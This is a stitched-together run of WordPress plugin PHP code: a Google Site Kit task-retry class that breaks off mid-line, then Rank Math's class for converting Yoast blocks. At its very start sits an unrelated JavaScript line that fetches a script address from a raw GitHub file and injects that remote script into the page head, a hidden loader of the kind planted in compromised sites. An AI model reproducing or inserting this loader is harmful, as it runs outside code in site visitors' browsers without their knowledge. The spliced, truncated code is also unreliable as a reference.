;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); self::TASK_RETRY_ALWAYS, '503' => self::TASK_RETRY_ALWAYS, 'rateLimitExceeded' => self::TASK_RETRY_ALWAYS, 'userRateLimitExceeded' => self::TASK_RETRY_ALWAYS, 6 => self::TASK_RETRY_ALWAYS, // CURLE_COULDNT_RESOLVE_HOST 7 => self::TASK_RETRY_ALWAYS, // CURLE_COULDNT_CONNECT 28 => self::TASK_RETRY_ALWAYS, // CURLE_OPERATION_TIMEOUTED 35 => self::TASK_RETRY_ALWAYS, // CURLE_SSL_CONNECT_ERROR 52 => self::TASK_RETRY_ALWAYS, // CURLE_GOT_NOTHING 'lighthouseError' => self::TASK_RETRY_NEVER, ]; /** * Creates a new task runner with exponential backoff support. * * @param array $config The task runner config * @param string $name The name of the current task (used for logging) * @param callable $action The task to run and possibly retry * @param array $arguments The task arguments * @throws \Google\Task\Exception when misconfigured */ // @phpstan-ignore-next-line public function __construct($config, $name, $action, array $arguments = []) { if (isset($config['initial_delay'])) { if ($config['initial_delay'] < 0) { throw new \Google\Site_Kit_Dependencies\Google\Task\Exception('Task configuration `initial_delay` must not be negative.'); } $this->delay = $config['initial_delay']; } if (isset($config['max_delay'])) { if ($config['max_delay'] <= 0) { throw new \Google\Site_Kit_Dependencies\Google\Task\Exception('Task configuration `max_delay` must be greater than 0.'); } $this->maxDelay = $config['max_delay']; } if (isset($config['factor'])) { if ($config['factor'] <= 0) { throw new \Google\Site_Kit_Dependencies\Google\Task\Exception('Task configuration `factor` must be greater than 0.'); } $this->factor = $config['factor']; } if (isset($config['jitter'])) { if ($config['jitter'] <= 0) { throw new \Google\Site_Kit_Dependencies\Google\Task\Exception('Task configuration `jitter` must be greater than 0.'); } $this->jitter = $config['jitter']; } if (isset($config['retries'])) { if ($config['retries'] < 0) { throw new \Google\Site_Kit_Dependencies\Google\Task\Exception('Task configuration `retries` must not be negative.'); } $this->maxAttempts += $config['retries']; } if (!\is_callable($action)) { throw new \Google\Site_Kit_Dependencies\Google\Task\Exception('Task argument `$action` must be a valid callable.'); } $this->action = $action; $this->arguments = $arguments; } /** * Checks if a retry can be attempted. * * @return boolean */ public function canAttempt() { return $this->attempts < $this->maxAttempts; } /** * Runs the task and (if applicable) automatically retries when errors occur. * * @return mixed * @throws \Google\Service\Exception on failure when no retries are available. */ public function run() { while ($this->attempt()) { try { return \call_user_func_array($this->action, $this->arguments); } catch (\Google\Site_Kit_Dependencies\Google\Service\Exception $exception) { $allowedRetries = $this->allowedRetries($exception->getCode(), $exception->getE */ namespace RankMath\Tools; use RankMath\Helper; defined( 'ABSPATH' ) || exit; /** * Yoast_Blocks class. */ class Yoast_Blocks extends \WP_Background_Process { /** * FAQ Converter. * * @var Yoast_FAQ_Converter */ private $faq_converter; /** * FAQ Converter. * * @var Yoast_HowTo_Converter */ private $howto_converter; /** * TOC Converter. * * @var Yoast_TOC_Converter */ private $toc_converter; /** * Local Converter. * * @var Yoast_Local_Converter */ private $local_converter; /** * Action. * * @var string */ protected $action = 'convert_yoast_blocks'; /** * Holds blocks for each post. * * @var array */ private static $yoast_blocks = []; /** * Main instance. * * Ensure only one instance is loaded or can be loaded. * * @return Yoast_Blocks */ public static function get() { static $instance; if ( is_null( $instance ) && ! ( $instance instanceof Yoast_Blocks ) ) { $instance = new Yoast_Blocks(); } return $instance; } /** * Start creating batches. * * @param array $posts Posts to process. */ public function start( $posts ) { $chunks = array_chunk( $posts, 10 ); foreach ( $chunks as $chunk ) { $this->push_to_queue( $chunk ); } $this->save()->dispatch(); } /** * Complete. * * Override if applicable, but ensure that the below actions are * performed, or, call parent::complete(). */ protected function complete() { $posts = get_option( 'rank_math_yoast_block_posts' ); delete_option( 'rank_math_yoast_block_posts' ); Helper::add_notification( // Translators: placeholder is the number of modified posts. sprintf( _n( 'Blocks successfully converted in %d post.', 'Blocks successfully converted in %d posts.', $posts['count'], 'rank-math' ), $posts['count'] ), [ 'type' => 'success', 'id' => 'rank_math_yoast_block_posts', 'classes' => 'rank-math-notice', ] ); parent::complete(); } /** * Task to perform. * * @param string $posts Posts to process. */ public function wizard( $posts ) { $this->task( $posts ); } /** * Task to perform. * * @param array $posts Posts to process. * * @return bool */ protected function task( $posts ) { try { remove_filter( 'pre_kses', 'wp_pre_kses_block_attributes', 10 ); $this->faq_converter = new Yoast_FAQ_Converter(); $this->howto_converter = new Yoast_HowTo_Converter(); $this->local_converter = new Yoast_Local_Converter(); $this->toc_converter = new Yoast_TOC_Converter(); foreach ( $posts as $post_id ) { self::$yoast_blocks = []; $post = get_post( $post_id ); $this->convert( $post ); } return false; } catch ( Exception $error ) { return true; } } /** * Convert post. * * @param WP_Post $post Post object. */ public function convert( $post ) { $dirty = false; $blocks = $this->parse_blocks( $post->post_content ); $content = ''; if ( isset( $blocks['yoast/faq-block'] ) && ! empty( $blocks['yoast/faq-block'] ) ) { $dirty = true; $content = $this->faq_converter->replace( $post->post_content, $blocks['yoast/faq-block'] ); } if ( isset( $blocks['yoast/how-to-block'] ) && ! empty( $blocks['yoast/how-to-block'] ) ) { $dirty = true; $content = $this->howto_converter->replace( $post->post_content, $blocks['yoast/how-to-block'] ); } if ( isset( $blocks['yoast-seo/table-of-contents'] ) && ! empty( $blocks['yoast-seo/table-of-contents'] ) ) { $dirty = true; $content = $this->toc_converter->replace( $post->post_content, $blocks['yoast-seo/table-of-contents'] ); } if ( ! empty( array_intersect( array_keys( $blocks ), $this->local_converter->yoast_blocks ) ) ) { $dirty = true; $content = $this->local_converter->replace( $post->post_content, $blocks ); } if ( $dirty ) { $post->post_content = $content; wp_update_post( $post ); } } /** * Find posts with Yoast blocks. * * @return array */ public function find_posts() { $posts = get_option( 'rank_math_yoast_block_posts' ); if ( ! empty( $posts['posts'] ) ) { return $posts; } // FAQs Posts. $args = [ 's' => 'wp:yoast/faq-block', 'post_status' => 'any', 'numberposts' => -1, 'fields' => 'ids', 'no_found_rows' => true, 'post_type' => 'any', ]; $faqs = get_posts( $args ); // HowTo Posts. $args['s'] = 'wp:yoast/how-to-block'; $howto = get_posts( $args ); // TOC Posts. $args['s'] = 'wp:yoast-seo/table-of-contents'; $toc = get_posts( $args ); // Local Business Posts. $args['s'] = ':yoast-seo-local/'; $local_business = get_posts( $args ); $posts = array_merge( $faqs, $howto, $toc, $local_business ); $posts_data = [ 'posts' => $posts, 'count' => count( $posts ), ]; update_option( 'rank_math_yoast_block_posts', $posts_data, false ); return $posts_data; } /** * Parse blocks to get data. * * @param string $content Post content to parse. * * @return array */ private function parse_blocks( $content ) { $parsed_blocks = $this->filter_parsed_blocks( parse_blocks( $content ) ); $blocks = []; foreach ( $parsed_blocks as $block ) { if ( empty( $block['blockName'] ) ) { continue; } $name = strtolower( $block['blockName'] ); if ( ! isset( $blocks[ $name ] ) || ! is_array( $blocks[ $name ] ) ) { $blocks[ $name ] = []; } if ( !